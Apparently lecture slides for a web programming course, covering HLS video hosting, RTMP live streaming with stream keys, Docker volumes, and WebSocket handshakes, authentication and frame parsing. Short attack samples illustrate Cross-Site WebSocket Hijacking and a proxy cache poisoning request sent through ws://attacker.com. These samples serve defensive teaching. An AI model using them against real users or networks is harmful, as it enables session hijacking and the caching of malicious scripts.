        "-f", "hls", "-hls_playlist_type", "vod",
        "-master_pl_name", "master.m3u8",
        "-var_stream_map", "v:0,a:0 v:1,a:1",
        outputDir+"/%v/index.m3u8",
    ).Run()
}

Hosting HLS Files

  • Two new file types to host
Extension MIME type
.m3u8 application/vnd.apple.mpegurl
.ts video/mp2t
  • The files are in nested directories
    • eg. /public/videos/abc123/0/index0.ts
  • Store the path to master.m3u8 in your database as the video's hls_path

Background Jobs

Conversions Are Slow

  • Converting a video to multiple bit-rates can take a long time
    • Seconds for a short clip. Up to minutes for a long video
    • Uses a lot of CPU
  • If your server converts the video while handling the upload request:
    • The user waits on the upload page with no response
    • The browser may give up and time out
    • Nothing else can happen on that keep-alive connection until the conversion finishes
    • Users will think your app is broken
  • Respond before the conversion finishes!

Respond First, Process Later

  1. Receive and buffer the upload
  2. Save the mp4 to disk and add the video to your database
  3. Respond to the user
  4. Start the conversion in the background concurrently
  5. Handle other requests from this user on the same connection
  6. When the conversion finishes, update the video in your database
  • The video can be watched as an mp4 while it's being converted
  • Users see the HLS version once it's ready

Video on the Front End

The Video Element

  • Can't use <img> for video
  • Use the <video> element!
  • Attributes:
    • controls: Displays the control buttons for the user
    • autoplay: Plays on page load [if allowed by the browser]
    • muted: Mute the audio (Required in Chromium for autoplay)
<video width="400" controls autoplay muted>
    <source src="space.mp4" type="video/mp4">
    Your browser does not support video playback
</video>

The Video Element

  • Specify the file in a <source> element
    • Requested just like the src of an <img>
  • Can list multiple sources
    • The browser uses the first one it supports
  • The text is displayed by very old browsers that don't support video
  • Can also set src on the video element
    • The provided front end does this in JavaScript
<video width="400" controls autoplay muted>
    <source src="space.mp4" type="video/mp4">
    Your browser does not support video playback
</video>
videoPlayer.src = video.video_path;

Playing HLS

  • Most browsers cannot play HLS using only the <video> element
    • Safari can. Many others can't
    • You cannot rely on the browser to support it
  • Use a JavaScript video player
    • It downloads the playlists and segments, and feeds them to the <video> element
  • The provided front end uses hls.js
    • Included in layout.html
<script src="https://cdn.jsdelivr.net/npm/hls.js@latest"></script>

The Provided Front End

  • The video page requests the video from your API
  • If the video has an hls_path, play it with hls.js
  • Otherwise, play the mp4 directly
    • With Range requests if your server and browser supports them
const response = await fetch(`/api/videos/${videoId}`);
const video = (await response.json()).video;

if (video.hls_path) {
    const hls = new Hls();
    hls.loadSource(video.hls_path);
    hls.attachMedia(videoPlayer);
} else {
    videoPlayer.src = video.video_path;
}

Further Reading

Live Streaming

RTMP ingest, live HLS playlists, stream keys, and sharing files between containers with Docker volumes

Live Streaming

Live Streaming

  • We can upload and host videos using a streaming protocol
    • A Video on Demand (VOD) service
  • What about live streaming?
    • The video doesn't exist yet when viewers start watching
    • Segments are created while the streamer is streaming
  • Most live streaming isn't truly live
    • There will be several seconds of delay in the stream
    • Acceptable loss to gain reliability and scale

RTMP

  • Real-Time Messaging Protocol
    • Runs over TCP. Default port 1935
    • The streamer pushes a continuous stream of video and audio to the server
  • Streaming software (OBS, ffmpeg, phones, consoles) speaks RTMP
  • Browsers don't
    • Viewers need HLS, served over HTTP
    • HTTP also works with caches and CDNs, which is how big platforms reach millions of viewers
  • RTMP is used for ingest: Getting the stream into your system

Stream Keys

  • A stream key is a secret that lets someone stream as a user
    • Anyone with the key can stream as that user
    • Treat it like an auth token
  • Every user gets their own key
  • Generate it randomly with at least 80 bits of entropy
  • Unlike auth tokens, you can't store only a hash
    • You need to show the key to its owner

Don't Leak the Key

  • The ingest server names each stream's directory after its stream key
    • /hls/f3a9c2e17b4d80a65e2f1c8d3b7a4e08/index.m3u8
  • If you host that directory as-is, the key is in the URL of every playlist and segment
    • Visible in the Network tab of every viewer
    • Any viewer could stream as that user
  • The key must never appear in any URL, playlist, or segment path requested by viewers
  • Host each stream at a public path instead
    • eg. /live/{username}/index.m3u8
    • Your server maps the public name to the stream key

The Pipeline

  • Typical setup (eg. Twitch/YouTube Live/etc.)
  Streamer (OBS)
        │   RTMP: rtmp://localhost:1935/live + stream key
        ▼
  Ingest server
        │   Converts RTMP stream to HLS: A playlist + segments
        ▼
  Web server  (Your app)
        │   HTTP: Normal GET requests for the playlist and segments
        ▼
  Viewers (hls.js)
  • Viewers never talk to the ingest server

The Ingest Server

  • Receives RTMP streams and turns them into HLS
    • Writes a playlist and segments to disk for each stream
    • Keeps updating them as long as the stream is live
  • Asks your app whether each stream is allowed
  • For the HW, you don't write this
    • Use the tiangolo/nginx-rtmp image
    • Same idea as using the postgres image instead of writing a database
  • Your job is everything around it
    • Stream keys, deciding who can stream, serving streams to viewers, the front end

The Ingest Server

nginx.conf

  • The ingest server is configured with an nginx.conf file
  • Copy it into the container at /etc/nginx/nginx.conf
events {}
rtmp {
    server {
        listen 1935;
        application live {
            live on;

            # Called when a stream starts and ends
            on_publish http://app:8080/api/live/start;
            on_publish_done http://app:8080/api/live/end;

            # Write each stream as HLS to /hls/{stream_key}/index.m3u8
            hls on;
            hls_path /hls;
            hls_nested on;
        }
    }
}

nginx.conf

  • Accept RTMP streams on port 1935 for the application named live
  • Streamers enter:
    • Server: rtmp://localhost:1935/live
    • Stream Key: Their key
  • The stream key becomes the name of the stream
events {}
rtmp {
    server {
        listen 1935;
        application live {
            live on;

            # Called when a stream starts and ends
            on_publish http://app:8080/api/live/start;
            on_publish_done http://app:8080/api/live/end;

            # Write each stream as HLS to /hls/{stream_key}/index.m3u8
            hls on;
            hls_path /hls;
            hls_nested on;
        }
    }
}

nginx.conf

  • When a stream starts, the ingest server sends a request to your app
  • app is the name of your app's service in your compose file
    • Service names are hostnames between containers
  • Change the paths to the endpoints you choose
events {}
rtmp {
    server {
        listen 1935;
        application live {
            live on;

            # Called when a stream starts and ends
            on_publish http://app:8080/api/live/start;
            on_publish_done http://app:8080/api/live/end;

            # Write each stream as HLS to /hls/{stream_key}/index.m3u8
            hls on;
            hls_path /hls;
            hls_nested on;
        }
    }
}

nginx.conf

  • Write every live stream as HLS in /hls
    • Inside the ingest container
  • hls_nested: Each stream gets its own directory named after its stream key
    • /hls/{stream_key}/index.m3u8
    • /hls/{stream_key}/0.ts, 1.ts, ...
events {}
rtmp {
    server {
        listen 1935;
        application live {
            live on;

            # Called when a stream starts and ends
            on_publish http://app:8080/api/live/start;
            on_publish_done http://app:8080/api/live/end;

            # Write each stream as HLS to /hls/{stream_key}/index.m3u8
            hls on;
            hls_path /hls;
            hls_nested on;
        }
    }
}

on_publish

  • When a streamer connects, the ingest server sends a POST request to your app
  • The body is url-encoded
    • Same format as the HTML forms from HW2
    • Several fields. name is the stream key the streamer entered
  • on_publish_done sends the same format when the stream ends
    • Remove the stream from your active streams
POST /api/live/start HTTP/1.1
Host: app:8080
Content-Type: application/x-www-form-urlencoded

app=live&...&call=publish&name=f3a9c2e17b4d80a65e2f1c9d3b7a4e08&type=live
  • Respond 200 OK to allow the stream
  • Respond 403 Forbidden to reject it. The ingest server disconnects the streamer

Three Containers

  • Your app now has three services
    • app: Your Go server
    • db: Your database
    • ingest: nginx-rtmp. Write a Dockerfile in ./ingest
  • docker compose up must start all three
  • nginx looks up the hostname for on_publish and on_publish_done when it starts
    • If your app's container doesn't exist yet, the ingest server fails
  • Use depends_on to ensure your app starts first
services:
  ingest:
    build: ./ingest
    # ...
  db:
    image: postgres
    # ...
  app:
    build: .
    # ...

Live Playlists

  • Live HLS playlists change while you watch
    • New segments are added every few seconds
    • Old segments are removed from the playlist and deleted
    • No #EXT-X-ENDLIST until the stream is over
  • The player re-requests the playlist every few seconds to find new segments
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-MEDIA-SEQUENCE:41
#EXT-X-TARGETDURATION:5
#EXTINF:5.000,
41.ts
#EXTINF:5.000,
42.ts
#EXTINF:5.000,
43.ts

Live Playlists

  • Caching: The playlist changes every few seconds
    • Your caching headers might cause browsers to reuse an old playlist
    • Don't send caching headers for live playlists
      • To be extra sure, send Cache-Control: no-store
  • Segments never change once written
    • Caching them is fine
  • One rendition per stream
    • Whatever quality the streamer sends. No ABR for this objective

Docker Volumes

Containers Have Their Own Files

  • Each container has its own filesystem
  • The ingest server writes streams to /hls in the ingest container
    • Your app can't see them
  • Files written inside a container are lost when the container is recreated
    • docker compose up --build --force-recreate
    • Uploaded avatars and videos disappear
  • We need storage that lives outside the container

Volumes

  • A volume maps storage outside the container to a directory inside the container
  • This mirrors all files in local directory ./streams and the container directory hls
    • You will be able to see all the hls files in your local directory
  • Recommended to use volumes starting with avatar uploads
    • You can see the files on your machine. Great for debugging
  • Mount the same storage into two containers and they can share files
    • Mounting ./streams to a directory in your app container lets your app access the streams
services:
  ingest:
    volumes:
      - ./streams:/hls
    # ...

Volume Gotchas

  • --renew-anon-volumes deletes anonymous volumes when testing and grading
    • Bind mounts and named volumes persist
  • A volume hides what the image had at that path
    • Mount ./uploads at /app/public and your front end disappears
    • Mount only the directories that hold uploaded or streamed files
  • Directories must exist before you write to them
    • Create them in your code at startup if they don't exist

Further Reading

WebSocket Handshake

Upgrading an HTTP connection to a WebSocket, authenticating the connection, and Cross-Site WebSocket Hijacking

WebSockets

AJAX Summary

  • Retrieve/Send data from the server after the page loads without a page reload
  • To get new data from the server:
    • polling
    • long-polling
  • If the server has new data to send to the client
    • Must wait for a poll request

WebSockets

  • Two-way communication between server and client
    • Server can "push" new data to each client without being prompted by an HTTP request
  • Enables real-time [minus network delays] communication between users
    • Without long-polling
  • Works by keeping a TCP socket open

WebSocket Overview

  • WebSocket protocol:
    • Establish a TCP connection
    • Client sends an HTTP request to upgrade to the WebSocket protocol
    • Server responds confirming the upgrade request
    • Client and server keep the TCP connection open
    • Client and server send WebSocket messages/frames over the TCP connection until one side closes the connection

The Handshake

WebSocket Handshake

  • When the server receives a WebSocket HTTP request
    • Take steps to keep this TCP socket open as a WebSocket connection
    • These steps ensure that the client knows the server speaks the WS protocol
  • After the handshake, client/server can both send messages over the socket

WebSocket Handshake

  • Client sends an HTTP GET request to the WebSocket path
  • Client sets headers
    • Connection: Upgrade
    • Upgrade: websocket
    • Sec-WebSocket-Key: <random_key>
  • Server responds with 101 Switching Protocols with headers
    • Connection: Upgrade
    • Upgrade: websocket
    • Sec-WebSocket-Accept: <accept_response>

The Handshake Request

GET /websocket HTTP/1.1
Host: localhost:8080
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: http://localhost:8080
Cookie: auth_token=8f3a91c2...
  • A normal HTTP GET request. It arrives through the same keep-alive loop as every other request
  • Sec-WebSocket-Key is 16 random bytes, base64 encoded, new for every connection
  • Note the Origin and Cookie headers. We'll need both later

The Handshake Response

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
  • 101 Switching Protocols is the last HTTP message on this connection
  • No body, so no Content-Length
  • After the blank line, both sides only send WebSocket frames

Computing the Accept

  • The client generates a random "Sec-WebSocket-Key" for each new WebSocket connection
  • The server appends a specific GUID to this key
    • "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
  • Computes the SHA-1 hash
  • "Sec-WebSocket-Accept" is the base64 encoding of the hash
  • Why?
    • Client ensured that the server speaks the WS protocol properly
      • Highly unlikely this value would be returned by accident
    • Avoid caching

Why the Sec- Headers?

  • Headers that start with Sec- are forbidden headers
    • Only the browser can set them. JavaScript's fetch cannot
  • A page can't use fetch to fake a WebSocket handshake
  • A server that doesn't understand WebSockets, or a cache replaying an old response, won't return the right accept value
  • Both sides prove they speak the WebSocket protocol before a single frame is sent
    • Client set a Sec- header so you know it was sent by their browser

In the Browser

WebSockets in the Browser

  • Create a new WebSocket object with the host/path to connect to
    • Choose a path and set up your server to accept WebSocket requests on that path
  • Use wss:// on a page served over https://
    • Browsers block ws:// connections from https:// pages (mixed content)
let socket = new WebSocket('ws://' + window.location.host + '/websocket');
socket.onmessage = renderMessage;

function sendMessage(text) {
    socket.send(JSON.stringify({'messageType': 'echo_client', 'text': text}));
}

function renderMessage(message) {
    console.log(message.data);
}

WebSockets in the Browser

  • Set onmessage to a function that will be called whenever a message is received
  • The argument of the call will contain the message
let socket = new WebSocket('ws://' + window.location.host + '/websocket');
socket.onmessage = renderMessage;

function sendMessage(text) {
    socket.send(JSON.stringify({'messageType': 'echo_client', 'text': text}));
}

function renderMessage(message) {
    console.log(message.data);
}

WebSockets in the Browser

  • Call the send method to send a message to the server
  • Can give it a String and the WebSocket object will convert it to a frame
    • We'll parse this frame on the server
let socket = new WebSocket('ws://' + window.location.host + '/websocket');
socket.onmessage = renderMessage;

function sendMessage(text) {
    socket.send(JSON.stringify({'messageType': 'echo_client', 'text': text}));
}

function renderMessage(message) {
    console.log(message.data);
}

Authenticating a WebSocket

Who Is On This Connection?

  • WebSocket frames have no headers, and therefore no cookies (No auth token)
  • The handshake is the only HTTP request on a WebSocket connection
    • The browser attaches its cookies to it, including the auth token
    • This is your only chance to authenticate the user
  • Authenticate during the handshake, before sending the 101
    • Same as any other request: read the auth_token cookie, hash it, look it up
    • Store the username with this connection
  • Every frame on this connection is from that user, for as long as the connection is open

Never Trust the Message

{"messageType": "direct_message", "fromUser": "admin", "text": "Trust me"}
  • Anyone can open a WebSocket to your server and send any message they want
  • Never use a username, or any other identity, that arrives in a message
  • The only identity you trust is the one you authenticated in the handshake
  • No auth token? The connection is a guest for as long as it's open
    • Guests can still use features that don't require an account

Authentication is Frozen

  • The connection keeps the identity it had during the handshake
    • The user logs out in another tab: this connection is still logged in as them
    • The user logs in after the page loads: this connection is still a guest
  • Common solutions:
    • The front end reconnects after a login or logout (a page reload does this)
    • On logout, the server closes every connection that belongs to that user
  • Long-lived connections make you think about when authentication is checked

Cross-Site WebSocket Hijacking

Recall: XSRF

  • A malicious page sends a request to your server
  • The browser attaches the victim's cookies
  • The Same-Origin Policy stops the attacker from reading the response
  • XSRF tokens stop your server from accepting the request

The SOP and WebSockets

  • The Same-Origin Policy does not apply to WebSockets
    • No preflight
    • No CORS
    • Any page can open a WebSocket to any server and read every message
  • The WebSocket protocol made a different choice
    • The browser tells the server which origin the page is from
    • The server decides whether to accept the connection

The Attack

<script>
  const socket = new WebSocket("ws://localhost:8080/websocket");
  socket.onopen = () => socket.send(JSON.stringify(
      {"messageType": "direct_message", "targetUser": "cse312", "text": "Sent by the attacker"}));
  socket.onmessage = (message) => console.log("Stolen: " + message.data);
</script>
  • The victim visits the attacker's page while logged in to your app
  • The browser sends the handshake with the victim's cookies
  • Your server authenticates the connection as the victim
  • The attacker can send messages and read every message as the victim
    • XSRF + reading the responses = a hijacked session

SameSite and WebSockets

  • The handshake is not a navigation
    • Lax cookies are not sent on a cross-site handshake
  • A cross-site attack fails if the auth cookie is Lax or Strict
    • Browsers disagree on the default when SameSite is not set
  • A same-site attack works, even with Strict
    • A different subdomain, or a different port
    • http://localhost:5000 attacking http://localhost:8080 is same-site!
  • Browser protections help most users, not all
    • We need protection on our server

The Origin Header

  • Browsers send an Origin header with every WebSocket handshake
  • Origin is a forbidden header. JavaScript can't change it
    • In a browser, the Origin is honest
  • A script or curl can send any Origin it wants
    • But it doesn't have the victim's cookies. It can only authenticate as itself
  • RFC 6455: servers should check the Origin and respond 403 Forbidden if it isn't one they expect
  • Your origin changes when you deploy. Keep the allowed origins in an environment variable

Tickets

  • Extra protection that works like an XSRF token:
    1. The page sends POST /api/websocket-ticket with its XSRF token
    2. The server responds with a random ticket: single use, expires in ~30 seconds, tied to this user
    3. The page connects to /websocket?ticket=...
    4. The server verifies the ticket during the handshake, then deletes it
  • The attacker's page can't read the ticket. The SOP applies to the fetch
  • Short-lived and single use since URLs often end up in logs

After the Handshake

The Connection Changes Protocols

  • Recall the keep-alive loop: read a request, send a response, repeat
  • After you send the 101, the next bytes on this socket are WebSocket frames, not HTTP requests
    • Never pass this connection back to your HTTP parsing
    • Switch to a WebSocket loop: read a frame, handle it, repeat
    • Until a close frame or an error
  • The goroutine for this connection now lives as long as the WebSocket: minutes, or hours

Many Connections

  • Every open tab is an open TCP connection and a goroutine on your server
  • Features like broadcasting must reach other connections
    • Store your connections in a data structure that every goroutine can reach
    • Along with the user you authenticated for each connection
  • Many goroutines sharing the same data at the same time...
    • Proper concurrency matters

WebSocket Frames

  • Once the connection is established
    • Two-way communication via web socket frames
  • A frame is a specifically formatted sequence of bits containing the message to be sent
    • Yes, bits! (And you thought bytes were fun!)
  • Parse these bits to read the message

WebSocket Frame

  • https://tools.ietf.org/html/rfc6455#section-5.2
  • We'll see how to parse through this next time

The WebSocket frame format from RFC 6455 section 5.2, 32 bits per row. In order: FIN (1 bit), RSV1, RSV2, and RSV3 (1 bit each), opcode (4 bits), MASK (1 bit), payload len (7 bits), an extended payload length of 16 bits if payload len is 126 or 64 bits if it is 127, a 4-byte masking key if MASK is 1, then the payload data. The optional fields have dashed borders.

Further Reading

WebSocket Frames

Parsing and building WebSocket frames bit by bit, masking and why it exists, and control frames (close, ping, pong)

WebSockets

WebSockets

  • Last time we saw how to establish a WebSocket connection
  • Today, we'll parse and send messages over the socket

WebSocket Frame

https://tools.ietf.org/html/rfc6455#section-5.2

The WebSocket frame format from RFC 6455 section 5.2, 32 bits per row. In order: FIN (1 bit), RSV1, RSV2, and RSV3 (1 bit each), opcode (4 bits), MASK (1 bit), payload len (7 bits), an extended payload length of 16 bits if payload len is 126 or 64 bits if it is 127, a 4-byte masking key if MASK is 1, then the payload data. The optional fields have dashed borders.

Protocols Sidenote

  • Many of the protocols used in the Internet define the order and meaning of bits that are sent
    • Sender assembles the bits of a message following the protocol
    • Send the bits through the Internet
    • Receiver interprets the bits following the same protocol to extract meaning from the bits
  • Protocols enable complex communication using only 1's and 0's

Protocols Sidenote

  • TCP/IP protocol headers shown here
  • Routers read the IP header following this protocol to know how to route a packet
  • Endpoints follow the TCP protocol to assemble a sequence of packets and send it to the process using the given port

Left: the IPv4 header from RFC 791, 32 bits per row: Version, IHL, Type of Service, Total Length; Identification, Flags, Fragment Offset; Time to Live, Protocol, Header Checksum; Source Address; Destination Address; Options, Padding. Right: the TCP header from RFC 793: Source Port, Destination Port; Sequence Number; Acknowledgment Number; Data Offset, Reserved, the URG, ACK, PSH, RST, SYN, and FIN flags, Window; Checksum, Urgent Pointer; Options, Padding; then data.

WebSocket Frame

  • The WebSocket protocol functions the same way
  • Client and server agree to follow this protocol
  • Send bits in this specific order
    • We can rely on the client following this protocol

The WebSocket frame format from RFC 6455 section 5.2, the same diagram as earlier: FIN, RSV1-3, opcode, MASK, payload len, optional extended payload length, optional masking key, payload data.

Network Stack

  • An IP packet containing a WebSocket frame looks like this

Three headers stacked in the order they are sent: the IP header, then the TCP header, then the WebSocket frame. The IP header holds Version, IHL, Type of Service, Total Length, Identification, Flags, Fragment Offset, Time to Live, Protocol, Header Checksum, Source Address, Destination Address, Options, and Padding. The TCP header holds Source Port, Destination Port, Sequence Number, Acknowledgment Number, Data Offset, Reserved, flags, Window, Checksum, Urgent Pointer, Options, and Padding. The WebSocket frame holds FIN, RSV1-3, opcode, MASK, payload len, extended payload length, masking key, and payload data.

Parsing Frames

Parsing Bits

  • We will have to read frames at the bit level
    • It's already in a byte array when we receive it
    • We can access any byte and extract the bits we need
    • Helpful to recall that bytes are represented as 8-bit integer values (0-255)

The WebSocket frame format from RFC 6455 section 5.2, the same diagram as earlier: FIN, RSV1-3, opcode, MASK, payload len, optional extended payload length, optional masking key, payload data.

Parsing Bits Recall

  • To read the opcode:
    • get the byte at index 0
    • Bitwise AND this byte with a "bit mask" of 0x0F (00001111)
    • This will 0 out the 4 higher order bits
    • We now have an int from 0-15 representing the opcode
  • To read the FIN bit:
    • Shift the first byte right by 7 bits

The WebSocket frame format from RFC 6455 section 5.2, the same diagram as earlier: FIN, RSV1-3, opcode, MASK, payload len, optional extended payload length, optional masking key, payload data.

WebSocket Frame

  • FIN: The finish bit
    • 1 - This is the last frame for this message
    • 0 - There will be continuation frames containing more data for the same message
  • More about this in the next lecture
    • Until then, it will always be 1

The WebSocket frame format from RFC 6455 section 5.2, the same diagram as earlier: FIN, RSV1-3, opcode, MASK, payload len, optional extended payload length, optional masking key, payload data.

WebSocket Frame

  • RSV: Reserved bits
    • Used to specify any extensions being used
    • Nonzero only if the client and server agreed on an extension in the handshake
    • Chrome offers Sec-WebSocket-Extensions: permessage-deflate. Your 101 response doesn't accept it, so no extension is used
  • [You can assume these are always 000 for the HW]

The WebSocket frame format from RFC 6455 section 5.2, the same diagram as earlier: FIN, RSV1-3, opcode, MASK, payload len, optional extended payload length, optional masking key, payload data.

WebSocket Frame

  • opcode: Operation code
    • Specifies the type of information contained in the payload

The WebSocket frame format from RFC 6455 section 5.2, the same diagram as earlier: FIN, RSV1-3, opcode, MASK, payload len, optional extended payload length, optional masking key, payload data.

Opcodes

Opcode Type
0000 Continuation Frame
0001 Text
0010 Binary
1000 Close
1001 Ping
1010 Pong
  • Opcodes 1000 and above are control frames

WebSocket Frame

  • MASK: Mask bit
    • Set to 1 if a mask is being used
    • Set to 0 if no mask is being used
  • This will always be 1 when receiving messages from a client
  • You will always set this to 0 when sending a frame from your server

The WebSocket frame format from RFC 6455 section 5.2, the same diagram as earlier: FIN, RSV1-3, opcode, MASK, payload len, optional extended payload length, optional masking key, payload data.

Frame Length

  • The next bits will represent payload length in bytes
    • Similar to Content-Length
  • The length can be represented in 7, 16, or 64 bits

The WebSocket frame format from RFC 6455 section 5.2, the same diagram as earlier: FIN, RSV1-3, opcode, MASK, payload len, optional extended payload length, optional masking key, payload data.

Frame Length

  • If the length is <126 bytes
    • The length is represented in 7 bits, sharing a byte with the MASK bit
    • The next bit after the length is either the mask or payload

The WebSocket frame format from RFC 6455 section 5.2, the same diagram as earlier: FIN, RSV1-3, opcode, MASK, payload len, optional extended payload length, optional masking key, payload data.

Frame Length

  • If the length is >=126 and <65536 bytes
    • The 7 bit length will be exactly 126 (1111110)
    • The next 16 bits represents the payload length

The WebSocket frame format from RFC 6455 section 5.2, the same diagram as earlier: FIN, RSV1-3, opcode, MASK, payload len, optional extended payload length, optional masking key, payload data.

Frame Length

  • If the length is >=65536 bytes
    • The 7 bit length will be exactly 127 (1111111)
    • The next 64 bits represents the payload length
    • 18,446,744,073,709,551,615 max length!
      • 16 exabytes / 16,000,000 terabytes

The WebSocket frame format from RFC 6455 section 5.2, the same diagram as earlier: FIN, RSV1-3, opcode, MASK, payload len, optional extended payload length, optional masking key, payload data.

Frame Length

  • To read the frame length, read the 7 bit length
    • If the value is 126, read the next 16 bits as the length
    • If the value is 127, read the next 64 bits as the length
    • Else, the value itself is the length

The WebSocket frame format from RFC 6455 section 5.2, the same diagram as earlier: FIN, RSV1-3, opcode, MASK, payload len, optional extended payload length, optional masking key, payload data.

Byte Order

  • Multi-byte values sent over a network are big-endian
    • Most significant byte first. Also called "network byte order"
    • IP and TCP headers, the 16 and 64 bit WebSocket lengths, and the close frame status code
  • The bytes [0x01, 0x2C] as a 16-bit length are 0x012C = 300
    • Read them little-endian and you get 0x2C01 = 11265
  • On the HW, you allowed to research and use packages that perform byte/int conversions

Mask and Payload

  • After all the payload length bits:
    • If the MASK bit == 1 (client to server messages), the next 4 bytes is the masking key
    • If the MASK bit == 0 (server to client and all control frames), the payload begins

The WebSocket frame format from RFC 6455 section 5.2, the same diagram as earlier: FIN, RSV1-3, opcode, MASK, payload len, optional extended payload length, optional masking key, payload data.

Mask and Payload

  • If there is a mask, read these 4 bytes
  • The mask will be randomly generated by the client for each message
    • You must parse this each time a message is received

The WebSocket frame format from RFC 6455 section 5.2, the same diagram as earlier: FIN, RSV1-3, opcode, MASK, payload len, optional extended payload length, optional masking key, payload data.

Mask and Payload

  • Each 4 bytes of the payload has been XORed with the mask by the client
  • Byte i of the payload was XORed with byte i % 4 of the mask
    • XOR it with the same mask byte again to get the original byte back
  • If the length is not a multiple of 4, the last few bytes only use the first bytes of the mask
    • i.e. Always reading 4 bytes at a time will cause an index out of bounds error ~75% of the time

The WebSocket frame format from RFC 6455 section 5.2, the same diagram as earlier: FIN, RSV1-3, opcode, MASK, payload len, optional extended payload length, optional masking key, payload data.

XOR Example

  • If 4 bytes of the message are:
    • 01001001 01000011 01010101 00100001
  • And the random mask is:
    • 01111011 00100010 01110101 01110011
  • This part of the payload will be "message XOR mask":
    • 00110010 01100001 00100000 01010010
  • When we receive these bits and XOR it with the mask again we get the original message bits:
    • 01001001 01000011 01010101 00100001

Mask and Payload

  • Once the payload is XORed with the mask 4 bytes at time we get the entire message
  • Then process the message

The WebSocket frame format from RFC 6455 section 5.2, the same diagram as earlier: FIN, RSV1-3, opcode, MASK, payload len, optional extended payload length, optional masking key, payload data.

Why Mask?

Masking Is Not Encryption

  • The mask is sent in the same frame as the payload
  • Anyone who can see the frame can unmask it
  • So why does the browser mask every frame it sends?

Proxy Cache Poisoning

  • Many networks send all web traffic through a proxy (schools, companies, ISPs)
    • It caches responses to speed things up for everyone on the network
  • Some proxies didn't understand Upgrade
    • They kept reading the bytes after the handshake as if they were HTTP
  • Without masking, the attacker's JavaScript chooses the exact bytes on the wire
const socket = new WebSocket("ws://attacker.com/websocket");
socket.send("GET /jquery.js HTTP/1.1\r\nHost: popular-site.com\r\n\r\n");
  • The proxy sees a request for popular-site.com/jquery.js on a connection to the attacker's server
    • The attacker's server responds with malicious JavaScript
    • The proxy caches it as popular-site.com/jquery.js for everyone on the network

Masking Fixes It

  • The browser picks a new random mask for every frame
  • The attacker's JavaScript chooses the payload, but can't predict the bytes on the wire
    • It can't make them look like an HTTP request to anything in between
  • Frames from the server aren't masked
    • The attacker's server can already send any bytes it wants. A mask wouldn't stop anything
  • Researchers demonstrated this attack in 2011 while WebSockets were being standardized
    • Masking was added to the protocol because of it

Control Frames

Close Frames

  • Opcode: 1000
  • Either side may send a close frame to end the connection
  • Optional payload: a 2-byte status code (big-endian), then an optional reason in UTF-8
    • 1000: Normal closure
    • 1001: Going away (the tab closed, the server is shutting down)
    • 1002: Protocol error
    • 1009: Message too big
  • When you receive a close frame: send a close frame back, then close the TCP connection

Close Frame Structure

A server (no mask) closing normally (status code 1000, no reason): 0x88 0x02 0x03 0xE8

Byte Bits Meaning
0 10001000 FIN = 1, RSV = 000, opcode = 1000 (close)
1 00000010 MASK = 0, payload length = 2
2-3 00000011 11101000 Status code 0x03E8 = 1000 (big-endian)
4+ Optional reason in UTF-8 (none here)

Reading a Close Frame

  • The status code is the first 2 bytes of the payload
    • code := binary.BigEndian.Uint16(payload[0:2])
  • Close frames from the client are masked like any other frame
    • Unmask the payload before reading the code
  • The payload may be empty, with no status code at all
    • Check the length before reading 2 bytes

Ping and Pong

  • Ping (1001): "Are you still there?"
  • Pong (1010): "Yes"
    • Must contain the same payload as the ping it answers
  • Browsers answer pings automatically
    • JavaScript never sees them, and can't send them
  • Servers send pings to check on their clients

Why Ping?

  • A browser sends a close frame when a tab closes normally
  • Laptop lid closed, Wi-Fi drops, phone goes into a tunnel: nothing is sent
    • No close frame. The connection looks open forever
    • Your server can't tell a quiet connection from a dead one
  • Ping regularly
    • If you don't see a pong in return, the connection is dead

Further Reading

WebSocket Buffering

Buffering large WS frames, continuation frames, and back-to-back frames

WebSocket Buffers

TCP is a Stream

  • TCP delivers a stream of bytes, not messages
  • One Read from the socket can return:
    • Part of a frame
    • Exactly one frame
    • The end of one frame and the start of the next
    • Several frames
  • The only way to delimit frames is by payload length
    • Just like Content-Length for HTTP requests

Special Cases

  • We'll talk about 4 special cases that will come up when implementing WebSockets
    • Buffering large frames
    • Multiple frames per message using the fin bit and continuation frames
    • Control frames in the middle of a multi-frame message
    • Multiple frames being sent back-to-back

Buffering Large Frames

Buffering Large Frames

  • You will sometimes receive WebSocket frames that are large enough that they need to be buffered
    • Buffering frames is very similar to buffering HTTP requests
  • When receiving a WebSocket Frame:
    • Read bytes from the socket
    • Parse the headers
    • Read the payload length from the headers
    • Keep reading bytes from the socket until you've read the entire frame
      • Payload length does not include the header bytes
      • Size of headers depends on the payload length (2 or 8 extra bytes) and mask (4 extra bytes)
    • Process the frame

Continuation Frames

Continuation Frames

  • You will sometimes receive very large messages from clients that will be sent in multiple frames
    • Fin bit will be 0 until the last frame
    • opcode will be 0000 for all but the first frame
    • Payload length is only the length of that frame
  • Sending a message >131,072 (2^17) bytes in Chrome will be sent in multiple frames
    • Great for testing since this is predictable
  • Firefox will send messages in a single frame
  • Test thoroughly. If you only test in Firefox, you did not test this feature

Continuation Frames

  • When you read a frame with a fin bit of 0:
    • Keep reading frames until you read a frame with a fin bit of 1 and opcode of 0000
    • Combine the payload of all frames, then process the entire message

The WebSocket frame format from RFC 6455 section 5.2, the same diagram as earlier: FIN, RSV1-3, opcode, MASK, payload len, optional extended payload length, optional masking key, payload data.

Continuation Frames

  • One message sent over 3 frames

Three frames. Frame 1: FIN 0, opcode 0001 (text), payload length 11, payload "Never look ". Frame 2: FIN 0, opcode 0000 (continuation), payload length 14, payload "directly into ". Frame 3: FIN 1, opcode 0000 (continuation), payload length 7, payload "the sun". Arrows from all three point to the combined message: Never look directly into the sun.

Control Frames Mid-Message

  • Control frames (close, ping, pong) can arrive between the frames of a fragmented message
    • They are never fragmented themselves
  • Example: a pong arrives in the middle of "Never look directly into the sun"
Frame FIN Opcode Payload
1 0 0001 (text) "Never look "
2 1 1010 (pong)
3 0 0000 (continuation) "directly into "
4 1 0000 (continuation) "the sun"
  • Handle the pong right away. Don't add it to the message
  • On HW4 your server pings every 5 seconds. A large message will be interrupted eventually
    • This will be checked during grading of objective 3

Back-to-back Frames

Back-to-back Frames

  • Multiple WebSocket frames can be sent back-to-back on the same connection
    • Nearly guaranteed when continuation frames are used
  • If you read more bytes than you expect, you have read the headers of the next frame
  • Use the payload length to delimit frames
